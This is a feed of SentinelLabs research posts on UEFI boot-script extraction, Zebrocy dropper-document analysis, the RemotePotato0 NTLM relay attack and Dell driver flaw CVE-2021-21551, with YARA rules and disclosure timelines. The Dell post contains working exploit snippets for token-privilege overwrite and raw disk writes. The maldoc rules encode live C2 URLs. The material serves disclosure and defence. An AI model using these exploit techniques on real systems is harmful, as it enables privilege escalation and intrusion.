    3. Guid is initialized to uniquely identify the lock box we wish to restore. In the case of the S3 boot script, it should be set to {AEA6B965-DCF5-4311-B4B8-0F12464494D2}.
    4. Buffer is set to the physical address where the contents of the lock box will be restored. From our experiments, this address must fall within the boundaries of a region that has the EFI_MEMORY_RUNTIME attribute set, otherwise the system will freeze!
    5. Length is set to indicate the number of bytes we wish to read from the lock box.
  3. Lastly, in step 3 a SW SMI is triggered by and the entire communication buffer is conveyed to SMRAM, where the server-side of EFI_SMM_LOCK_BOX_PROTOCOL will inspect it and dispatch it to the appropriate handler function.

Putting it all together, we could generate the same SMI with CHIPSEC as follows:

  1. Boot into the UEFI shell and examine the output of the memmap command. Write down the regions that have the EFI_MEMORY_RUNTIME attribute set (either RT_Code or RT_Data).
    Figure 29 – Searching for runtime memory regions in the output of the memmap command.
  2. Pick up one of the pages in the RT_Data section and designate it to hold the communication buffer. Before proceeding to the next step, make sure to use RW-Everything to verify the memory is zero initialized (as an indication it’s not currently in use).
    Figure 30 – Use RW-Everything to verify the physical page is not in use.
  3. Craft a binary file with the arguments for the restore operation and save it with an appropriate name, say s3_restore.bin. The file should look something like this:
    Figure 31 – The file containing the serialized arguments for the restore operation.

    Two things to notice about this file:

    1. The address for the restore operation is at offset 0x30 from the start of the physical page. The number 0x30 was not chosen arbitrarily, but rather it is the size of the communication buffer itself. If all goes well, the end result would be that the boot script contents will immediately follow the communication buffer in memory.
    2. Note that we initially set the number of bytes to restore to 0. Because of that, on output we expect the handler to return a failure code and overwrite this portion of the communication buffer with the actual number of bytes the boot script spans.
  4. Send an SMI to the lock box handler and observe the number of bytes required to complete the operation successfully. By examining the output buffer, we can see (in red) that the operation completed with EFI_BUFFER_TOO_SMALL (0x8000000000000005) and that the required buffer size (in orange) is 0x4000 bytes:
    Figure 32 – Probing for the actual size of the boot script.
  5. Modify the file holding the communication buffer to reflect the newly probed size:
    Figure 33 – The communication buffer is modified to reflect the actual size of the boot script.
  6. Now issue the same SMI again. This time we’re expecting EFI_SUCCESS to be returned as the status code (highlighted in red below):
    Figure 34 – The RestoreLockBox SMI returns EFI_SUCCESS.
  7. View the target address using RW-Everything:
    Figure 35 – Memory view after the successful call to RestoreLockBox.
    The memory block at offset 0x30 now begins with 0xAA, which is a pretty good indication that the structure we’re looking at is actually a valid boot script:
    Figure 36 – The start of the boot script table.
  8. Now that we have the boot script readily available, we can further analyze it to find potential misconfigurations, vulnerabilities or any other kind of firmware peculiarities. Enjoy!
Figure 37 – Decoding the boot script using the uefi s3bootscript command.


Even though initially it seemed like we bumped into a rock-solid wall, we eventually managed to find our way around the problem and extract the S3 boot script. Along the way, we also covered some important aspects related to SMM. As it turns out, throughout the years SMM has proved to be a very fruitful attack surface for firmware researchers. As such, our next posts in the series will keep exploring this direction, and hopefully we’ll be able to share with you some actual SMM vulnerabilities that we found ourselves. Until then stay safe, take care and keep on learning.

Other Posts in Our UEFI Series

Part 1: Moving From Common-Sense Knowledge About UEFI To Actually Dumping UEFI Firmware
Part 2: Moving From Manual Reverse Engineering of UEFI Modules To Dynamic Emulation of UEFI Firmware
Part 3: Moving From Dynamic Emulation of UEFI Modules To Coverage-Guided Fuzzing of UEFI Firmware

Further Reading×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMM.pdf×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMRAM.pdf×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMM%20and%20Caching.pdf×86%20-%20BIOS%20and%20SMM%20Internals%20-%20Other%20Fun%20with%20SMM.pdf×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMM%20Conclusion.pdf

The post Adventures From UEFI Land: the Hunt For the S3 Boot Script appeared first on SentinelLabs.

☑ ☆ ✇ SentinelLabs

A Deep Dive into Zebrocy’s Dropper Docs

By: Marco Figueroa

Contributor: Amitai Ben Shushan Ehrlich

Sofacy is an APT threat actor that’s been around since 2008 and rose to prominence with the election hacks of 2016. Better known as FancyBear or APT28, this threat actor targets governments, military, and private organizations and has been known to engage in hack-and-leak operations. In the past couple of years, Sofacy has drastically retooled and largely evaded analysts. One of the more consistent subgroups is known as Zebrocy. Their targeting appears primarily focused on former Soviet Republics and, more recently, Asia.

In March 2021, we observed a cluster of activities targeting Kazakhstan with Delphocy – malware written in Delphi and previously associated with Zebrocy. The Word documents that were observed purport to be from a Kazakhy company named Kazchrome, a mining and metal company and one of the world’s largest producers of chrome ore and ferroalloys.

In total, we found six Delphocy Word documents that appear to be related to this cluster, all of which contain the same VBA script that drops a PE. Out of the six Word documents, two appear to be authentic uploads to VirusTotal by victims originating from Kazakhstan. The uploaded files contain what appeared to be the original filenames Авансовый отчет(новый).doc and Форма докладной (служебной) записки.doc.

In this post, we take a deep dive into these samples and share some techniques other analysts can employ to reverse engineer Delphocy dropper docs. We show how researchers can bypass password-protected macros and describe both how to decompile Delphi using IDR (Interactive Delphi Reconstructor) and how to import the saved IDC file into Ghidra using dhrake’s plugin.

The results of our analysis led us to discover further Zebrocy clusters; a list of IOCs and YARA detection rules are provided to enable threat hunters to search for these and related artifacts in their environments.

Bypassing VBA Macro Password Protection

When analyzing Office documents with VBA macros, threat hunters have many different tools and techniques that do the job, but I’ve built a habit that I still use when I first started reversing malware to bypass password-protected macros manually.

  1. Open up your favorite hex editor. I use HxD.
  2. Load the Word Document.
  3. Search for the following text:
    1. CMG=
    2. GC=
    3. DPB=
  4. Add an x to each of them:
    1. CMGx=
    2. GCx=
    3. DPBx=
  5. Save the file with the changes.

When opening the Word document and viewing the macro this time, you can see the script as well as the Forms. When analyzing the function, what immediately sticks out is the ert.DataType = “bin.base64”, showing that the UserForm1 is encoded with base64.

Wininition UserForm

When selecting on UserForm1, the textbox reveals a base64 encoded string; we know this because of the function we discussed above. The next step is to copy the entire string into a file so it can be decoded.

Now we decode the binary from base64 and save it to disk as wininition.exe.

Following that, clean the headers using HxD, and then use PE-Bear to fix the sections headers to move to the next phase of the analysis.

When triaging a binary, the go-to tool is Hiew to investigate and look for clues for a deeper understanding. With wininition, I notice the Embarcadero string, which means that this binary was written in Delphi. When reversing Delphi binaries I’ve always used IDR (Interactive Delphi Reconstructor). IDR is a decompiler of executable files and dynamic libraries (DLL) written in Delphi.

Reversing Delphi Binaries with Ghidra and dhrake

When searching for the latest developments with IDR, I came across a fantastic plugin for Ghidra, a collection of scripts for reverse engineering Delphi binaires in Ghidra using IDR’s output to IDC. It was published over a year ago, but it is a gem if threat hunters are using Ghidra.

dhrake allows you to import the IDC file from IDR into Ghidra. This will import the Symbol names, function signatures and create structs for Delphi classes. This plugin extracts and applies the Delphi symbols from the IDC file, which is generated by IDR, and attempts to find cases where Ghidra has incorrectly determined the entry point of a function. If you’ve never imported a plugin to Ghidra please read this post. I’ve saved the IDC to a selected folder. I then install the plugin in Ghidra and run the script it prompts for the IDC file and then load it!

In the wininition binary, the first function WinMain has SetWindowsHookExW function, which is a hook procedure to monitor a system for certain types of events. The hook procedures low-level keyboard input events is WH_KEYBOARD_LL, which is the number 13 in the parameter. This hook is a mechanism that intercepts keystroke events. All the events are then saved to a log file to be sent to a C2.

The C2 is obfuscated using hex that can be converted to ascii:



Note: These appear to be compromised domains.


Analysis of these documents led us to find other Zebrocy clusters. As Zebrocy continues to evolve its scope, organizations must have the proper visibilities and detection capabilities to find this threat actor. We hope the techniques discussed in this post will be useful to other researchers in analyzing Delphocy dropper docs in particular, and documents with password-protected macros in general.

Indicators of Compromise

Word Documents








Yara Rules

rule apt_RU_delphocy_encStrings {
    desc = "Hex strings in Delphocy drops"
    author = "JAG-S @ SentinelLabs"
    version = "1.0"
    TLP = "White"
    last_modified = "04.09.2021"
    hash0 = "ee7cfc55a49b2e9825a393a94b0baad18ef5bfced67531382e572ef8a9ecda4b"
    hash1 = "07b2d21f4ef077ccf16935e44864b96fa039f2e88c73b518930b6048f6baad74"

    $enc_keylogger2 = "5B4241434B53504143455D" ascii wide
    $enc_keylogger3 = "5B5441425D" ascii wide
    $enc_keylogger4 = "5B53484946545D" ascii wide
    $enc_keylogger5 = "5B434F4E54524F4C5D" ascii wide
    $enc_keylogger6 = "5B4553434150455D" ascii wide
    $enc_keylogger7 = "5B454E445D" ascii wide
    $enc_keylogger8 = "5B484F4D455D" ascii wide
    $enc_keylogger9 = "5B4C4546545D" ascii wide
    $enc_keylogger10 = "5B55505D" ascii wide
    $enc_keylogger11 = "5B52494748545D" ascii wide
    $enc_keylogger12 = "5B444F574E5D" ascii wide
    $enc_keylogger13 = "5B434150534C4F434B5D" ascii wide
    $cnc1 = "68747470733A2F2F7777772E786268702E636F6D2F646F6D696E61726772656174617369616E6F6479737365792F77702D636F6E74656E742F706C7567696E732F616B69736D65742F7374796C652E706870" ascii wide
    $cnc2 = "68747470733A2F2F7777772E63346373612E6F72672F696E636C756465732F736F75726365732F66656C696D732E706870" ascii wide

    uint16(0) == 0x5a4d and (any of ($cnc*) or all of ($enc_keylogger*))
rule apt_RU_Delphocy_Maldocs {
    desc = "Delphocy dropper docs"
    author = "JAG-S @ SentinelLabs"
    version = "1.0"
    TLP = "White"
    last_modified = "04.09.2021"
    hash1 = "3b548a851fb889d3cc84243eb8ce9cbf8a857c7d725a24408934c0d8342d5811"
    hash2 = "c213b60a63da80f960e7a7344f478eb1b72cee89fd0145361a088478c51b2c0e"
    hash3 = "d9e7325f266eda94bfa8b8938de7b7957734041a055b49b94af0627bd119c51c"
    hash4 = "1e8261104cbe4e09c19af7910f83e9545fd435483f24f60ec70c3186b98603cc"

    $required1 = "_VBA_PROJECT" ascii wide
    $required2 = "Normal.dotm" ascii wide
    $required3 = "bin.base64" ascii wide
    $required4 = "ADODB.Stream$" ascii wide
    $author1 = "Dinara Tanmurzina" ascii wide
    $author2 = "Hewlett-Packard Company" ascii wide
    $specific = "Caption         =   \"\\wininition.exe\"" ascii wide
    $builder1 = "Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} UserForm1" ascii wide
    $builder2 = "{02330CFE-305D-431C-93AC-29735EB37575}{33D6B9D9-9757-485A-89F4-4F27E5959B10}" ascii wide
    $builder3 = "VersionCompatible32=\"393222000\"" ascii wide
    $builder4 = "CMG=\"1517B95BC9F7CDF7CDF3D1F3D1\"" ascii wide
    $builder5 = "DPB=\"ADAF01C301461E461EB9E2471E616F01D06093C59A7C4D30F64A51BDEDDA98EC1590C9B191FF\"" ascii wide
    $builder6 = "GC=\"4547E96B19021A021A02\"" ascii wide

    uint32(0) == 0xE011CFD0 and all of ($required*) and (all of ($author*) or $specific or 5 of ($builder*))

The post A Deep Dive into Zebrocy’s Dropper Docs appeared first on SentinelLabs.

☑ ☆ ✇ SentinelLabs

Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol

By: Antonio Cocomazzi

By Antonio Cocomazzi and Andrea Pierini

Executive Summary

  • Every Windows system is vulnerable to a particular NTLM relay attack that could allow attackers to escalate privileges from User to Domain Admin.
  • The current status of this vulnerability is “won’t fix”.
  • Enterprise security teams are encouraged to follow the recommendations and mitigations given below.


NTLM relaying [1] is a well known technique that has long been abused by attackers. Despite the continuous “fixes” from 2001 onwards, it is still possible in a MITM scenario, for certain protocols where signing is not enabled, to intercept the NTLM messages and to “relay” the authentication to a target resource in order to elevate privileges. Normally, NTLM relays need user intervention, so you have to trick the victim to authenticate to a resource under your control.

In recent years [2] [3] [4], we conducted research into the so-called “DCOM DCE/RPC Local NTLM Reflection”, in particular when it comes to negotiating locally a SYSTEM token and impersonating it, thus leading to an elevation from a SERVICE account to SYSTEM.

Despite recent fixes, it is still possible under certain conditions to negotiate a highly privileged token and to impersonate it during the unmarshalling process of initializing a DCOM object, identified by particular CLSID, via the IStorage Object trigger [5].

During our earlier research, where we implemented a “fake” Oxid Resolver instructing the DCOM client to connect to a RPC Server under our control, we observed that two interesting NTLM authentications took place:

  1. Oxid Resolution (IObjectExporter::ResolveOxid2 call)
  2. IRemUnknown Interface  (IRemUnknown2::RemRelease call)

We decided to investigate the possibility of relaying these authentications to a different resource on a remote machine such as LDAP, SMB, and HTTP instead of stealing the token which requires the impersonation privileges.

First of all, we needed a “usable” authentication, possibly coming from highly privileged users like “Domain Admins” and so on. Some particular CLSID, belonging to application identifiers (AppId) which run under the context of the “Interactive User” can come to the rescue, because they “impersonate” the logged on user in the first session when instantiated in session 0. This is really cool because no victim user interaction is required!

The basic idea was that a standard user could trigger the privileged authentication without the victim’s interaction and relay it to a privileged service on another machine, e.g. ldap server, in order to elevate the user privileges.

In order to understand if there was a potential exploitation path, we needed to answer the following questions:

  • Does the RPC client sign (and check) the NTLM messages?
  • Could the RPC authentication be relayed in this particular cross protocol scenario?

In this post, we will go through the process of how we discovered answers to those questions and, step-by-step, show how we achieved an exploitation path. We went through a lengthy process of responsible disclosure with Microsoft before publishing. Although Microsoft considers the vulnerability an important privilege escalation, it has been classified as “Won’t Fix”.

The NTLM Auth Messages

Our idea was to use one of two authentications as described above. The first one (IObjectExporter::ResolveOxid2) seemed unpromising because the NTLM “Sign flag” was set and we were not sure if the upper layer protocols would consider it or not.

The second one (IRemUnknown2::RemRelease) met our expectations, and the flag was not set (more on this later…):

Now that we knew which authentication to use, the next step was to trigger and intercept it.

The RPC Trigger

It all started from this article [6] by James Forshaw, in which he discovered a way to abuse the the DCOM activation service by unmarshalling an IStorage object and reflecting the NTLM back to a local RPC TCP endpoint to achieve a local privilege escalation. While this vulnerability has been patched, the DCOM activation service was (and still is) a working trigger for RPC authentications.

This is still the trigger of all the “*potato” exploits in order to escalate privileges by leveraging the impersonation privileges.

Nowadays, those exploits focus on stealing a token from a privileged service (usually those running as SYSTEM are of interest), but we know that some CLSID (a way to identify COM class objects) impersonate the user connected to the first Session outside Session 0. [7]

If we have a shell in Session 0, even as a low privileged user, and trigger these particular CLSIDs, we will obtain an NTLM authentication from the user who is interactively connected (if more than one user is interactively connected, we will get that of the user with lowest session id).

So our hypothetical scenario could be the following:

  1. A compromised account with a shell in Session 0. This could be:
    • A low privileged user who can connect to the machine via WinRM-PSSession [8] or ssh [9]
    • A low privileged user who has been granted “Logon as a batch job” rights so that he can create and then run scheduled tasks with the property “Run the task whether the user is logged in or not” from an interactive session on this machine (local or via RDP)
    • A service account even running under a Hardened Virtual Account (e.g., without impersonation privileges [10]).
  2. A highly privileged user logged on to the same machine (local or via RDP)

With that in mind, we focused on analyzing all the “vulnerable” CLSID that we could use to trigger this authentication. These are the ones we found on a Windows Server 2019:

  • BrowserBroker Class
  • AuthBrokerUI
  • Easconsent.dll
  • Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients
  • UserInfoDialog
  • CLSID_LockScreenContentionFlyout
  • Picker Host
  • IsolatedMessageDialogFactory
  • SPPUIObjectInteractive Class
  • CastServerInteractiveUser

Finding an Exploitation Path

Having found a perfect RPC trigger, we started to prepare all the pieces of our possible exploitation scenario.

First, we wanted to understand if we could relay this authentication in a cross protocol scenario, so we wrote a cpp POC that performs a MITM between an RPC authentication and relay over an HTTP server that requires authentication, and guess what? It worked!

We were able to browse protected files on the webserver on behalf of the user who authenticated to our RPC server.

This was the workflow implemented in our MITM:

Once we identified that our RPC authentication could be relayed in a cross protocol scenario, we put together the final exploitation path:

  1. An attacker has a shell in Session 0 on the “victim” machine with a low privileged account;
  2. On this machine a privileged user, like a Domain Admin, is logged on interactively;
  3. The attacker triggers the DCOM activation service by unmarshalling an IStorage object, calling CoGetInstanceFromIstorage with one of the CLSIDs that impersonate the user logged on interactively and setting the IP of the attacker machine for Oxid resolution requests;
  4. The attacker implements a MITM by just listening on port 135 on his machine, which will receive the IObjectExporter::ResolveOxid2 authenticated call and be forwarded to the “fake” Oxid resolver. Even if this call is authenticated, the NTLM “Sign flag” is set so it will be skipped;
  5. The fake Oxid resolver returns a string binding for an RPC endpoint under the attacker’s control;
  6. The victim machine/user will make an authenticated call IRemUnknown2::RemRelease contacting the RPC server (without the Sign flag set);
  7. Authentication will be relayed to a privileged resource such as LDAP, SMB, HTTP or other.Here we had two paths that we could have followed:
    1. Implement in ntlmrelayx a “minimalistic” RPC server with the impacket libs [11].
    2. Encapsulate and forward the authentication in a protocol already implemented and supported in ntlmrelayx[12], e.g. HTTP.
  8. We chose the second path and implemented the whole logic of the MITM and HTTP encapsulator in a POC (RemotePotato0). We then forwarded everything to ntlmrelayx and let it do the job by targeting the LDAP server running on the Domain Controller and adding a new domain admin (or elevate user privileges).

The following schema shows the entire attack flow:

Dealing with Signing Restrictions

Now that exploitation was successful, we tried to understand why the “Sign” flag was not set in IRemUnknown2 calls.

After several tests, we discovered that the poisoned response we give back from our fake Oxid Resolver could influence the setting of the “Sign” flag. One of the fields returned by the Oxid resolver is the security bindings which tell the client which security provider is to be used with the authentication (AuthnSvc).

MSRPC (Microsoft implementation of DCE/RPC protocol) supports a variety of “Security Providers”, including NTLM.

This is a list of the available security providers:

If the provider is set to NTLM (RPC_C_AUTHN_WINNT), it won’t enforce the signing; if set to SPNEGO (RPC_C_AUTHN_GSS_NEGOTIATE), it will. And this is what we did in order to use the correct provider in our poisoned response code:


We also know that in order to perform these types of attacks, the “Authentication Level” should be RPC_AUTHN_LEVEL_CONNECT (0x2) because this defines an authentication mechanism without enforcing encryption/signing. We can define this kind of RPC authentication as “weak” and potentially vulnerable to relay attacks.

In our ResolveOxid2, we can control this behavior by setting the desired authentication level in pAuthnHint parameter, which returns the minimum accepted authentication level of the object exporter.

error_status_t ResolveOxid2
    handle_t        hRpc,
    OXID* pOxid, 
    unsigned short  cRequestedProtseqs, 
    unsigned short  arRequestedProtseqs[],
    DUALSTRINGARRAY** ppdsaOxidBindings,
    IPID* pipidRemUnknown, 
    DWORD* pAuthnHint, 
    COMVERSION* pComVersion

And the client will make a call to the IRemUnkown2 interface at least with this level of authentication.

Note: if we set a higher value for the authentication level in the pAuthnHint parameter, for example RPC_C_AUTHN_LEVEL_PKT (0x4), the “Sign” flag will be set again!

Dealing with MIC Restrictions

We also performed a relaying test with SMB protocol on servers where signing was not enabled, and of course it worked, too.

We only ran into trouble with one particular CLSID: {c58ca859-80bc-48df-8f06-ffa94a405bff}, when trying to relay because of the “BAD IMPERSONATION LEVEL”.

In this case, the NTLM “Identify” flag was set in the IRemUnknown2 call (which means that the server should not impersonate the client) and was taken into consideration by SMBv2 protocol.

But what if we alter this flag during our MITM operations? We tried to unset the flag in the forwarded NTLM type 1 message:

and reset it in the NTLM type 2 response message:

A quick test demonstrated that it worked!

Some days after, Microsoft released the November 2020 security patches and magically it stopped working. The SMB handshakes always ended up with a generic “INVALID PARAMETER” which was triggered by an invalid NTLM authentication.

After some testing, we discovered that the root cause was the Message Integrity Check (MIC). It  seemed to be always checked, even if the NTLM “Sign” flag was not set [13], thus altering the NTLM messages led to a signature mismatch.

The Proof Of Concept

We have released a POC of the RemotePotato0 attack here:

Below you can see a quick demonstration:

Mitigations & Detection

Given that Microsoft will not release an official patch, some mitigation by hardening your servers should be undertaken.

For HTTP(S), you should remove all non-TLS-protected HTTP bindings (prefer SSL everywhere, particularly where NTLM is used) and configure Channel Binding Tokens validation by setting the tokenChecking attribute to a minimum of Allow (if not Require) as documented here.

For LDAP, you should set the Domain controller: LDAP server signing requirements Group Policy to Require signature for non-LDAPS LDAP connections as documented here.

In addition, you should also set the Domain controller: LDAP server channel binding token requirements Group Policy to a minimum of When Supported (if not Always) as documented here.

For SMB, you should configure SMB Signing by setting the Group Policy Digitally sign server communication (always) as documented here.

We have also released a YARA rule to detect RemotePotato0:

rule SentinelOne_RemotePotato0_privesc {
        author = "SentinelOne"    
        description = "Detects RemotePotato0 binary"
        reference = ""   
    	$import1 = "CoGetInstanceFromIStorage"
        $istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii    
        $meow_header = { 4d 45 4f 57 }
        $clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
        $clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
         (uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)


We successfully demonstrated how it was possible to trigger an authenticated RPC/DCOM call and relay the NTLM authentication to other protocols. This is different from other known techniques such as CVE-2020-1113 [14] and CVE-2021-1678 [15], where relaying happens between a generic “client” protocol vs. an RPC server. In this case, we had an RPC client whose authentication was relayed to other “server” protocols and without “victim” interaction. Therefore, we hope that MS reconsider their decision not to fix this serious vulnerability.

Disclosure Timeline

11/30/2020 – Submitted vulnerability to MSRC case 62293
12/29/2020 – Microsoft confirmed vulnerability as Important - Elevation of Privilege
1/7/2021 – We informed Microsoft that full details about this issue would have been published after 90 days since our first notification
1/7/2021 – Microsoft asked to keep this issue confidential until 13th of April 2021 (135 days after our first notification) and that a fix was scheduled for that day
2/10/2021 – We agreed to keep this issue confidential as per Microsoft’s request
Mar-Apr/2021 – Sent multiple notifications in order to understand if the fix would be released on the agreed date
4/6/2021 – Microsoft informed us that a security fix would not be released on the 13th of April. No commitment for an exact date for a fix
4/13/2021  – Microsoft informed us that, after an extensive review, they determined that “Servers must defend themselves against NTLM relay attacks” (side note: setting the sign flag in NTLM provider as well as SPNEGO would have inhibited this exploit…)
4/26/2021 – Disclosing this issue



The post Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol appeared first on SentinelLabs.

☑ ☆ ✇ SentinelLabs

CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws

By: Kasif Dekel

Executive Summary

  • SentinelLabs has discovered five high severity flaws in Dell’s firmware update driver impacting Dell desktops, laptops, notebooks and tablets.
  • Attackers may exploit these vulnerabilities to locally escalate to kernel-mode privileges.
  • Since 2009, Dell has released hundreds of millions of Windows devices worldwide which contain the vulnerable driver.
  • SentinelLabs findings were proactively reported to Dell on Dec 1, 2020 and are tracked as CVE-2021-21551, marked with CVSS Score 8.8.
  • Dell has released a security update to its customers to address this vulnerability.
  • At this time, SentinelOne has not discovered evidence of in-the-wild abuse.


Several months ago, I started investigating the security posture of the firmware update driver version 2.3 (dbutil_2_3.sys) module, which seems to have been in use since at least 2009. Today, the firmware update driver component, which is responsible for Dell Firmware Updates via the Dell Bios Utility, comes pre-installed on most Dell machines running Windows and freshly installed Windows machines that have been updated. Hundreds of millions of Dell devices have updates pushed on a regular basis, for both consumer and enterprise systems.

The driver came to my attention thanks to Process Hacker, which has a great feature that pops up a notification message every time a service gets created or deleted:

This led to the discovery of five high severity bugs that have remained undisclosed for 12 years. These multiple high severity vulnerabilities in Dell software could allow attackers to escalate privileges from a non-administrator user to kernel mode privileges. Over the years, Dell has released BIOS update utilities which contain the vulnerable driver for hundreds of millions of computers (including desktops, laptops, notebooks, and tablets) worldwide.

Dell has assigned one CVE to cover all the flaws in the firmware update driver, but this single CVE can be broken down to the following five separate flaws:

  • CVE-2021-21551: Local Elevation Of Privileges #1 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #2 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #3 – Lack of input validation
  • CVE-2021-21551: Local Elevation Of Privileges #4 – Lack of input validation
  • CVE-2021-21551: Denial Of Service – Code logic issue

In today’s post, I will describe some of the general problems with this driver. However, to enable Dell customers the opportunity to remediate this vulnerability, we are withholding sharing our Proof of Concept until June 1, 2021. That proof of concept will demonstrate the first local EOP which arises out of a memory corruption issue.

Technical Details

The first and most immediate problem with the firmware update driver arises out of the fact that it accepts IOCTL (Input/Output Control) requests without any ACL requirements. That means that it can be invoked by a non-privileged user:

2: kd> !devobj ffffae077fb47820
Device object (ffffae077fb47820) is for:
 DBUtil_2_3 \Driver\dbutil DriverObject ffffae0782dbce30
Current Irp 00000000 RefCount 1 Type 00009b0c Flags 00000048
SecurityDescriptor ffffd70bdb4f4160 DevExt ffffae077fb47970 DevObjExt ffffae077fb47a10
ExtensionFlags (0x00000800)  DOE_DEFAULT_SD_PRESENT
Characteristics (0000000000)
Device queue is not busy.
2: kd> !sd ffffd70bdb4f4160 0x1
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001201bf
->Dacl    : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)

Allowing any process to communicate with your driver is often a bad practice since drivers operate with the highest of privileges; thus, some IOCTL functions can be abused “by design”.

The firmware update driver exposes many functions via IRP_MJ_DEVICE_CONTROL. The most obvious bug to exploit gives you an extremely powerful primitive. Via IOCTL 0x9B0C1EC8, it is possible to completely control the arguments passed to memmove, thus, allowing an arbitrary read/write vulnerability:

A classic exploitation technique for this vulnerability would be to overwrite the values of Present and Enabled in the Token privilege member inside the EPROCESS of the process whose privileges we want to escalate:

   +0x000 Present          : Uint8B
   +0x008 Enabled          : Uint8B
   +0x010 EnabledByDefault : Uint8B

This can be triggered and exploited quite simply:

struct ioctl_input_params {
	uint64_t padding1;
	uint64_t address;
	uint64_t padding2;
	uint64_t value_to_write;

static constexpr uint64_t MASK_TO_WRITE = MAXULONGLONG;

DWORD bytesReturned = 0;

ioctl_input_params privilege_present_params{ 0 };
privilege_present_params.address = presentAddress;
privilege_present_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl(hDevice, EXPLOITABLE_RW_CONTROL_CODE, &privilege_present_params,
	sizeof(privilege_present_params), &privilege_present_params, sizeof(privilege_present_params), &bytesReturned, NULL);

ioctl_input_params privilege_enabled_params{ 0 };
privilege_enabled_params.address = enabledAddress;
privilege_enabled_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl(hDevice, EXPLOITABLE_RW_CONTROL_CODE, &privilege_enabled_params,
	sizeof(privilege_enabled_params), &privilege_enabled_params, sizeof(privilege_enabled_params), &bytesReturned, NULL);

Another interesting vulnerability in this driver is one that makes it possible to run I/O (IN/OUT) instructions in kernel mode with arbitrary operands (LPE #3 and LPE #4). This is less trivial to exploit and might require using various creative techniques to achieve elevation of privileges.

Since IOPL (I/O privilege level) equals to CPL (current privilege level), it is obviously possible to interact with peripheral devices such as the HDD and GPU to either read/write directly to the disk or invoke DMA operations. For example, we could communicate with ATA port IO for directly writing to the disk, then overwrite a binary that is loaded by a privileged process.

The following code illustrates direct read/write using ATA port IO and shows how to invoke those IOCTLs (IN/OUT wrappers are abstracted):

void port_byte_out(unsigned short port, unsigned char payload) {
	unsigned char data[16] = { 0 };
	*((unsigned long *)((unsigned char *)data)) = port;
	*((unsigned char *)((unsigned char *)data + 4)) = payload;
	bResult = DeviceIoControl(hDevice, IOCTL_BYTE_OUT, data, sizeof(data), data, sizeof(data), &junk, NULL);
	if (!bResult) {
		printf("error in port_byte_out: %x\r\n", GetLastError());

unsigned char port_byte_in(unsigned short port) {
	unsigned char data[16] = { 0 };
	*((unsigned long *)((unsigned char *)data)) = port;
	bResult = DeviceIoControl(hDevice, IOCTL_BYTE_IN, data, sizeof(data), data, sizeof(data), &junk, NULL);
	if (!bResult) {
		printf("error in port_byte_in: %x\r\n", GetLastError());
	return data[0];

Writing directly to the HDD without creating an IRP for that disk write basically bypasses all security mechanisms in the operating system and allows an attacker to write to any sector on the disk.

For example, here is code from the LearnOS repository that takes advantage of IN/OUT instructions for direct HDD writing:

void write_sectors_ATA_PIO(uint32_t LBA, uint8_t sector_count, uint32_t* bytes) {
	port_byte_out(0x1F6,0xE0 | ((LBA >>24) & 0xF));
	port_byte_out(0x1F3, (uint8_t) LBA);
	port_byte_out(0x1F4, (uint8_t)(LBA >> 8));
	port_byte_out(0x1F5, (uint8_t)(LBA >> 16)); 
	port_byte_out(0x1F7,0x30); //Send the write command

	for (int j =0;j<sector_count;j++) {
		for(int i=0;i<256;i++) {
			port_long_out(0x1F0, bytes[i]);

Interestingly, unrelated to the IOCTL handler bugs, the driver file itself is located in C:\Windows\Temp, which is also a bug itself and opens the door to other issues. The classic way to exploit this would be to transform any BYOVD (Bring Your Own Vulnerable Driver) into an Elevation of Privileges vulnerability since loading a (vulnerable) driver means you require administrator privileges, which essentially eliminates the need for a vulnerability. Thus, using this side noted vulnerability virtually means you can take any BYOVD to an Elevation of Privileges.

Proof of Concept

Here you can see a proof-of-concept to demonstrate the first LPE due to memory corruption:

Click to play


The high severity flaws could allow any user on the computer, even without privileges, to escalate their privileges and run code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

An attacker with access to an organization’s network may also gain access to execute code on unpatched Dell systems and use this vulnerability to gain local elevation of privilege. Attackers can then leverage other techniques to pivot to the broader network, like lateral movement.


This vulnerability and its remedies are described in Dell Security Advisory DSA-2021-088. We recommend Dell customers, both enterprise and consumer, to apply the patch as soon as possible.

While Dell is releasing a patch (a fixed driver), note that the certificate was not yet revoked (at the time of writing). This is not considered best practice since the vulnerable driver can still be used in a BYOVD attack as mentioned earlier. Please see the Dell Security Advisory for complete remediation details.


These high severity vulnerabilities, which have been present in Dell devices since 2009, affect hundreds of millions of devices and millions of users worldwide. Similar to a previous vulnerability I disclosed that hid for 12 years, the impact this could have on users and enterprises that fail to patch is far reaching and significant.

While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, with hundreds of million of enterprises and users currently vulnerable, it is inevitable that attackers will seek out those that do not take the appropriate action. Our reason for publishing this research is to not only help our customers but also the community to understand the risk and to take action.

We would like to thank Dell for their approach to our disclosure and for remediating the vulnerabilities.

Disclosure Timeline

1, Dec, 2020 – Initial report
2, Dec, 2020 – Dell replied with ticket numbers
8, Dec, 2020 – Dell requested more information
9, Dec, 2020 – Dell request additional information
22, Dec, 2020 – Dell replied that a fix should be available in mid April
12, Jan, 2021 – Dell replied that some of the vulnerabilities will not be fixed since the product is EOL
